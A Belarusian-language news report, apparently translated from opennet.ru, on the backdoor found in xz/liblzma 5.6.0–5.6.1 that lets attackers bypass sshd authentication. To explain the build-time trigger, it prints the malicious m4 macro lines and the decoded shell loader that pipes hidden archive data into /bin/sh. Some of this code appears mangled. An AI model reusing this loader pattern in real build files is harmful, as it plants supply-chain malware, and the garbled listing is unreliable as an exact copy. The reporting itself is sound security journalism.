У бібліятэцы xz/liblzma выяўлены бэкдор, які арганізуе ўваход праз sshd

У пакеце XZ Utils, які ўключае бібліятэку liblzma і ўтыліты для працы са сціснутымі дадзенымі ў фармаце ".xz", выяўлены бэкдор (CVE-2024-3094), які дазваляе перахапляць і мадыфікаваць дадзеныя, апрацоўваныя прыкладаннямі, звязанымі з бібліятэкай liblzma. Асноўнай мэтай бэкдора з'яўляецца сервер OpenSSH, у некаторых дыстрыбутывах звязаны з бібліятэкай libsystemd, якая, у сваю чаргу, выкарыстоўвае liblzma. Злучэнне sshd з уразлівай бібліятэкай дазваляе зламыснікам атрымаць доступ да SSH-серверу без аўтэнтыфікацыі.

Бэкдар прысутнічаў у афіцыйных выпусках 5.6.0 і 5.6.1, апублікаваных 24 лютага і 9 сакавіка, якія паспелі патрапіць у склад некаторых дыстрыбутываў і рэпазітараў, напрыклад, Gentoo, Arch Linux, Debian sid/unstable, Fedora Rawhide і 40-beta, openSUSE. factory і tumbleweed, LibreELEC, Alpine edge, Solus, NixOS unstable, OpenIndiana, OpenMandriva rollling, pkgsrc current, Slackware current, Manjaro testing. Усім карыстальнікам выпускаў xz 5.6.0 і 5.6.1 рэкамендуецца тэрмінова адкаціцца на версію 5.4.6.

З якія згладжваюць праблему фактараў можна адзначыць тое, што версія liblzma c бэкдорам не паспела ўвайсці ў склад стабільных выпускаў буйных дыстрыбутываў, але закранула openSUSE Tumbleweed і Fedora 40-beta. Arch Linux і Gentoo выкарыстоўвалі ўразлівую версію zx, але не схільныя нападу, бо не ўжываюць да openssh патч для падтрымкі systemd-notify, які прыводзіць да злучэння sshd да liblzma. Бэкдар закранае толькі сістэмы x86_64 на базе ядра Linux і Сі-бібліятэкі Glibc.

Код актывацыі бэкдора быў схаваны ў m4-макрасах з файла build-to-host.m4, выкарыстоўванага інструментаром automake пры зборцы. Пры зборцы падчас выкананні заблытаных обфусцированных аперацый на аснове архіваў (bad-3-corrupt_lzma2.xz, good-large_compressed.lzma), ужывальных для тэставання карэктнасці працы, фармаваўся аб'ектны файл са шкоднасным кодам, які ўключаўся ў склад бібліятэкі liblzma і змяняў логіку працы некаторых яе функцый. Актывуючыя бэкдор m4-макрасы ўваходзілі ў склад tar-архіваў рэлізаў, але адсутнічалі ў Git-рэпазітары. Пры гэтым шкоднасныя тэставыя архівы прысутнічалі ў рэпазітары, г.зн. які ўкараніў бэкдор меў доступ як да рэпазітара, так і да працэсаў фармавання рэлізаў.

Пры выкарыстанні liblzma у прыкладаннях шкоднасныя змены маглі выкарыстоўвацца для перахопу ці мадыфікацыі дадзеных, а таксама для ўплыву на працу sshd. У прыватнасці, шкоднасны код падмяняў функцыю RSA_public_decrypt для абыходу працэсу аўтэнтыфікацыі ў sshd. Бэкдор уключаў абарону ад выяўлення і не выяўляў сябе пры выстаўленых зменных асяроддзі LANG і TERM (т.е. пры запуску працэсу ў тэрмінале) і не выстаўленых зменных акружэння LD_DEBUG і LD_PROFILE, а таксама актываваўся толькі пры выкананні выкананага файла /usr/sbin/sshd . У бэкдоры таксама меліся сродкі выяўлення запуску ў адладкавых акружэннях.

У прыватнасці, у файле m4/build-to-host.m4 выкарыстоўваліся канструкцыі gl_am_configmake=`grep -aErls "#{4}[[:alnum:]]{5}#{4}$" $srcdir/ 2>/dev /null` … gl_[$1]_config='sed \»r\n\» $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null'

У першай канструкцыі аперацыя grep знаходзіла файл tests/files/bad-3-corrupt_lzma2.xz, пры распакаванні якога фармаваўся сцэнар: ####Hello#### #345U211267$^D330^W [ ! $(uname) = "Linux" ] && exit 0 [ ! $(uname) = "Linux" ] && exit 0 [ ! $(uname) = "Linux" ] && exit 0 [ ! $(uname) = "Linux" ] && exit 0 [ ! $(uname) = "Linux" ] && exit 0 eval `grep ^srcdir= config.status` if test -f ../../config.status;then eval `grep ^srcdir= ../../config .status` srcdir=»../../$srcdir» fi export i=»((head -c 1024 >/dev/null) && head -c 2048 && (head -c 1024 >/dev/ null) && head -c +2048 && (head -c 1024 >/dev/null) && head -c 2048 && (head -c 1024 >/dev/null) && head -c 2048 && (head - c +1024 >/dev/null) && head -c 2048 && (head -c 1024 >/dev/null) && head -c 2048 && (head -c 1024 >/dev/null) && head - c +2048 && (head -c +1024 >/dev/null) && head -c 2048 && (head -c 1024 >/dev/null) && head -c 2048 && (head -c 1024 >/ dev/null) && head -c +2048 && (head -c 1024 >/dev/null) && head -c 2048 && (head -c 1024 >/dev/null) && head -c 2048 head -c +1024 >/dev/null) && head -c 2048 && (head -c 1024 >/dev/null) && head -c 2048 && (head -c 1024 >/dev/null) && head -c 2048 && (head -c 1024 >/dev/null) && head -c 2048 && (head -c 1024 >/dev/null) && head -c 939)»;(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31233|tr 114-321-322 \377-\35" "\47-\14")|xz -F raw -lzma34 -dc|/bin/sh ####World####

Якім чынам зламыснікам удалося атрымаць доступ да інфраструктуры праекта xz пакуль да канца не высветлена. Гэтак жа пакуль не ясна як шмат карыстальнікаў і праектаў былі скампраметаваны ў выніку дзеяння бэкдора. Меркаваны аўтар бэкдора (JiaT75 - Jia Tan), які размясціў у рэпазітары архівы з шкоднасным кодам, перапісваўся з распрацоўнікамі Fedora і адпраўляў pull-запыты ў Debian, злучаныя з пераходам дыстрыбутываў на галінку xz 5.6.0, і так выклікаў падазронаў. распрацоўцы xz на працягу апошніх двух гадоў і з'яўляецца другім распрацоўшчыкам па колькасці унесеных змяненняў. Апроч праекту xz меркаваны аўтар бэкдора таксама ўдзельнічаў у распрацоўцы пакетаў xz-java і xz-embedded. Больш таго, Jia Tan некалькі дзён таму быў уключаны ў лік мэйнтэйнераў праекта XZ Embedded, які выкарыстоўваецца ў ядры Linux.

Шкодная змена была выяўлена пасля аналізу залішняга спажывання CPU і памылак, якія выдаюцца valgrind, пры падлучэнні праз ssh да сістэм на базе Debian sid. Характэрна, што ў рэліз xz 5.6.1 былі ўключаны змены, падрыхтаваныя меркаваным аўтарам бэкдора ў адказ на скаргі аб запаволенні працы і збоях sshd, якія ўзніклі пасля абнаўлення да версіі zx 5.6.0 з бэкдорам. Акрамя таго, у мінулым годзе Jia Tan унёс змены, несумяшчальныя з рэжымам праверкі "-fsanitize=address", што прывяло да яго адключэння пры fuzzing-тэставанні.

Крыніца: opennet.ru

Дадаць каментар